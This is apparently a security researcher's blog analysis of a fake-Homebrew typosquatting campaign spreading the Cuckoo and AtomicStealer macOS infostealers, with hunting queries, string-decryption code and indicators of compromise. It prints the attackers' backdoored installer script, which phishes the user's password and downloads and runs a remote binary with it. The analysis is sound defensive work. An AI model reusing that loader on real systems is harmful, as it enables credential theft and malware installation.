Summary
So far, 2024 really has been the year of the infostealer when it comes to macOS malware. Families like AtomicStealer, Cuckoo, and CloudJump are getting dumped like crazy from search engine ads and crack sites.
This post examines a particularly sneaky typosquatting campaign that’s being used to deliver both AtomicStealer and Cuckoo. It makes use of a fake homepage for the package manager Homebrew. Using backdoored applications or typosquatting for initial access isn’t new for either of these families.
Most of the time, these infostealers rely on a user right-clicking in a DMG installer to run their malware. This one is much more subtle, and only requires a quick slip up on the users behalf.
A more comprehensive anthology of AtomicStealer is coming soon, but this will have to do in the mean time :).
Campaign Identification
What really kicked this off was a VirusTotal submission which reached out to homebrew[.]cx
. At first this looks just like another AMOS sample impersonating software, but the inclusion of an installer.sh
script was unusual.
Funnily enough, since the source to Homebrew’s landing page is on Github, the threat actor didn’t really have to do much work. Something something, work smarter not harder. With this domain as the starting point, we can begin to investigate the malicious infrastructure.
Validin
Using Validin you can search for other sites that have a page title of "Homebrew — The Missing Package Manager for macOS (or Linux)"
. The legitimate site is brew.sh so everything else should get a little bit of side eye. As of 2024/05/13 there were 30 results, though not all of them were clearly malicious (especially stuff like Cloudflare IPs).
The rest of the results seem interesting, so the next step is to investigate each using something like urlscan.io.
URLScan
Using the search feature, we can use a similar technique to try and find other potentially malicious sites.
page.title:"Homebrew — The Missing Package Manager for macOS (or Linux)" AND NOT page.url:"brew.sh"
Given that URLScan has private scans and doesn’t proactively ingest URLs, we get less results. We do find a few interesting ones:
After picking one, the DOM view shows what will actually happen when the user hits download:
<div class="group row">
<h2 id="install">Install Homebrew</h2>
<br />
<div class="button">
<p>
<a
href="https[:]//coinpepe[.]xyz/tete/download.php"
style="padding:12px 24px"
>Download for MAC</a
>
</p>
</div>
</div>
This particular domain kicks off a download for a DMG file. Based on the other observed submissions for the link this has several potential payloads (including one where they clearly just spammed the keyboard):
Campaign 1: Cuckoo
This is the sample that kicked off this whole rabbit hole, and also has the more slick implementation. Typically, you install Homebrew using a command that looks like this:
The malicious site is incredibly similar, but has a different installer.sh location.
Pulling the script content you can see that it is a modified version, which includes a few extra steps to ruin your day. First, it prompts the user to enter their password which normally would sus people out in a different context. In dev world, it’s not uncommon for tools to do this. It then uses curl to download and run the actual infostealer binary. After that, it continues to install brew as you would expect.
result=false
while ! $result;
do
echo -n 'Password:'
read -s password
cmdoutput=$(dscl . authonly "$USER" "$password" 2>&1)
[ ! "$cmdoutput" ] && result=true
[ "$cmdoutput" ] && echo -e "\nSorry, try again."
done
echo
password=$(echo -n $password | base64)
open -a /bin/bash --args -c "curl -o /tmp/brew_agent https[:]//homebrew[.]cx/brewinstaller;
chmod +x /tmp/brew_agent; /tmp/brew_agent \"$password\""
For the most part, the functionality of this malware is very similar to the one covered in Kandji’s report. The string encryption was slightly different, making use of a multi-byte key compared to a single byte before.
Most strings in the binary make use of this string decryption function, but there are a few other keys smattered around (same algo tho).
It’s easy to reimplement the routine in Python:
def mw_bytes_decryption(enc_bytes):
key = "7M43mJx9I0GwjslSA2oKSgkqsUo"
decrypted_bytes = bytearray(enc_bytes)
for i in range(len(enc_bytes)):
decrypted_bytes[i] = enc_bytes[i] ^ ord(key[i % len(key)])
return bytes(decrypted_bytes)
The persistence is also slightly different, but that tracks as they are trying to blend in as that particualr software (brew).
Campaign 2: AtomicStealer
These sites were less convincing, as it didn’t make use of the installer script like Homebrew typically does.
There were also more of these sites, which hosted their final payloads of BrewApp.dmg
on a number of different sites. This sample didn’t really have much of interest besides the fact that they are now making use of mod_init_func
to decrypt some of the more sensitive strings (I wonder where that’s happened before).
This little snippet can be used to decrypt the strings (just picked one at random for example’s sake).
>>> "".join([chr(b ^ 0x80) for b in b"\xef\xf3\xe1\xf3\xe3\xf2\xe9\xf0\xf4\xa0\xad\xe5\xa0\xa7\xe4\xe9\xf3\xf0\xec\xe1\xf9\xa0\xe4\xe9\xe1\xec\xef\xe7\xa0\xa2\xd3\xef\xed\xe5\xa0\xe5\xf2\xf2\xef\xf2\xa0\xef\xe3\xe3\xf5\xf2\xf2\xe5"])
'osascript -e \'display dialog "Some error occurre'
Conclusion
These stealer developers are working mighty hard to make sure their net is cast as wide as possible. This particular instance is no different, except for the fact that most developers would likely fall for this compared to other attempts (imo). Unfortunately, these stealers are also getting more “advanced” in terms of their development practices.
If there was anything to add here, it’s that I really dislike the software installation method of curl installer.sh | bash
. I understand that this is a widely used thing: brew, rust, etc. By going this route, you circumvent all the lovely things helping you from getting bonked like signature verification and checksums.
As an industry, we spend so much time educating users to be wary of suspicious looking links or downloading random attachments. When it comes to developer tools, it feels like there is an underlying assumption that their “technical competence” makes them immune to situations like this. Seems like an odd tradeoff in the security v. usability argument.
People groan about the hoops you have to jump through in order to install applications on macOS (this is downloaded from the internet, are you sure you want to run it? 👺). Those hoops, annoying as they might be, do make it harder for users to install malware.
Anyways rant over. 🫡
greetz to @l0psec & @stuartjash for letting me bounce thoughts off of them for this :>
IOCs
Files
SHA256 | Filename | Description |
---|---|---|
2958dfe9251c6bf997ceb94f2eea1b808a8e53bd5e79b7152f79379f441ede83 | BrewApp.dmg | AMOS DMG |
574a0a47811b06228271c48dab1e3da889c643b90515b36bcdbdc8a48385785e | BrewApp | AMOS Sample |
ce6dc065752cb46437ce6a200e29d5dbd96473daa72dcce07aa493b821a99ba9 | brewinstaller | Cuckoo Sample |
f608301ebb09ecdc9840c84f758f5e60cb6f7ab4d34d2f2d468af624eb800e50 | installer.sh | Backdoored install.sh script |
Infrastructure
Domain | Description |
---|---|
homebrew[.]cx | Cuckoo |
homebrew[.]page | Cuckoo via homebrew[.]cx |
homebrewl[.]pro | AMOS via coinpepe[.]xyz |
rectanglemac[.]pro | AMOS via coinpepe[.]xyz |
hornebrew[.]mom | AMOS via willowsushi[.]com |
coinpepe[.]xyz | AMOS Hosting |
willowsushi[.]com | AMOS Hosting |
aroqui[.]com | AMOS Hosting |
trello[.]bio | Fake Notion Site Hosting AMOS |
IP | Description |
---|---|
85[.]217[.]222[.]185 | Cuckoo C2 IP |
5[.]255[.]107[.]149 | Cuckoo Hosting |
109[.]120[.]178[.]3 | AMOS Hosting |
5[.]42[.]100[.]86 | AMOS Hosting |
79[.]137[.]192[.]4 | AMOS C2 |
77[.]221[.]151[.]41 | AMOS C2 |